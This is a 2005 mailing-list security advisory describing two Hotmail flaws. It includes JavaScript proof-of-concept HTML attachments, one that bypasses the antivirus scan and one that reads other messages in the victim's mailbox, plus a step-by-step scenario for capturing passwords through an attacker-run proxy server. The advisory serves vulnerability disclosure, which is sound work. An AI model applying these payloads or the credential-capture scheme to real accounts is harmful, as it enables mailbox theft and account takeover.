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Hotmail Advisories
From: "Luis A. Cortes Zavala" <luis.cortes () hypersec co uk>
Date: Tue, 3 May 2005 14:30:12 -0500

26, of April, 2005

 

Hotmail Antivirus Attachment Bypass.

Hotmail Cross Site Message Explore.

 

 

Hotmail is one of the sites who receive more attacks from Hackers, and it's
supposed to be one of the more secure sites I have seen. But as some people
say, you will never get security at 100%. The risk is every time out there.

 

 

*       Background

 

 

I was testing this until I can get some working code, the authorization and
validation of the site is one of the better that I seen on a mailing system,
I never heard about vulnerabilities of hotmail as in others systems, I just
have knowledge of two flaws discovered. One on 1999 is from George Guninski,
and the other when the pwdreset function make its public, every year hotmail
is updated, and getting more secure, and it's hard to believe that no one
have found this before.

 

 

*       Description

 

 

The flaws are made when the user seems the attachment, we can execute, code
on the user machine, this could result in information disclosure, and
credentials exposure.

 

 

*       Analysis

 

 

Hotmail Antivirus Attachment Bypass.

 

This is possible thanks to the way that Hotmail manage HTML attachments,
when we send a file with html content, hotmail will try open it in a pop up
windows after McAfee antivirus check is made, so here we have access to
execute some arbitrary JavaScript code.

 

The link for the first attachment usually is like:

 

http://by17fd.bay17.hotmail.msn.com/cgi-bin/getmsg?curmbox=F000000001
<http://by17fd.bay17.hotmail.msn.com/cgi-bin/getmsg?curmbox=F000000001&a=Ses
sionID&msg=MSGID&start=VAR&len=VAR&mimepart=Number&vscan=scan>
&a=SessionID&msg=MSGID&start=VAR&len=VAR&mimepart=Number&vscan=scan

 

If we seen the next attachment of the file will be the same link but
mimepart is the next one number, so what happen if we ask for the link
without the "vscan=scan" at the end of the line?

 

 

Usually we could not make this, but if we take our URL with the JavaScript
code, and recreate the URL with the next mimepart, and without the
"vscan=scan", we can ask for a window.open(Fakedurl); and the result is that
the next attachment is called without the needed to pass the antivirus test
of hotmail.

 

 

Risk: High

 

This could result in a serious damage for users.

 

 

Proof of Concept

 

__________________________________________________________________

<html>

<head>

</head>

<body>

<script>

str1=document.URL;

str2=str1.split("?");

str3=str2[1];

str4=str3.split("&");

str5=str4[1]+"&"+str4[2]+"&"+str4[3]+"&"+str4[4]+"&mimepart=";

str6=str4[5];

str7=str6.split("=");

str8=str7[1];

str9=parseInt(str8)+1;

str10=str5+str9;

str11="http://by17fd.bay17.hotmail.msn.com/cgi-bin/getmsg?curmbox=F000000001
&";

str12=str11+str10;

window.open(str12);

</script>

Hi this is my proof of concept!.

</body>

</html>

____________________________________________________________________________
___

 

 

 

Hotmail Cross Site Message Explore.

 

This is possible thanks to the way that Hotmail manage HTML attachments,
when we send a file with html content, hotmail will try open it in a pop up
windows after McAfee antivirus check is made, so here we have access to
execute some arbitrary JavaScript code.

 

And plus to this, hotmail uses the next two functions to pass from one
message to another:

 

Going to previous message:

javascript:S('getmsg','','','','','MSGID','','','prev','')

 

Going to Next message:

javascript:S('getmsg','','','','','MSGID','','','next','')

 

 

As we can see, we only need to pass to the function the actual message ID,
and call it, and we will have next or previous message on screen, without
knowledge of the MSGID of the next or previous message.

 

So if we include arbitrary JavaScript code on the attachment asking for the
next message, (we can use, hotmail function, or just make our own function
for this), we can get the all the others messages in account.

 

 

Risk: High

 

This could result in a serious damage for users or/and information
disclosure.

 

Proof of Concept

__________________________________________________________________

<html>

<head>

</head>

<body>

<script>

str1=document.URL;

str2=str1.split("?");

str3=str2[1];

str4=str3.split("&");

str5="http://by17fd.bay17.hotmail.msn.com/cgi-bin/getmsg?msg=&start=&len=&mf
s=&cmd=next&lastmsgid=";

str6=str4[2];

str7=str6.split("=");

str8=str7[1];

str9="&msgread=&etype=&wo=";

str10=str5+str8+str9+"&"+str4[0]+"&"+str4[1]

window.open(str10);

</script>

hola napa

</body>

</html>

____________________________________________________________________________
___

 

 

*       Reach

 

Imagine this situation.

 

This is a Proof of Concept Situation.

 

This is just a test, and an example, more ways could be more dangerous. But
I don't think on expose them. Also the POC of the application I mention will
not be exposed for security reasons.

 

______________________________________________________________________

 

More than 50% of the users could fall on this.

 

1.      One user opens an attachment html from one friend.

 

2.      The windows opens, and the user only seen that hotmail, with hotmail
URL, ask again just for the password, because the session remember your mail
actual account.

 

3.      At the background, attach have frames to not change the URL user
seems, get the original URL, and call some application on one server, with
the URL as parameter. 

 

4.      This server asks for the page of hotmail with the URL reconstructed
for call the same message.

 

5.      Hotmail responds the login page but only ask the password.

 

6.      Application on server acting as a proxy replacing the post or get
functions to point to the server application, sending the user, and the
password as news parameters for the application.

 

7.      The server logs in as the user, and continues acting like a proxy,
for all session or until the windows gets closed by user, and logs all
information about the session. Or just send a page with close statement,
after the password has been logged.

 

Normal users don't see the difference, but we already have all information
for use the account of the victim user. Or just the application can spider,
the inbox of them and save them to a database.

______________________________________________________________________

 

 

Luis Alberto Cortes Zavala

Senior Security Consultant

luis.cortes () hypersec co uk

http://www.hypersec.co.uk

 

_______________________________________________
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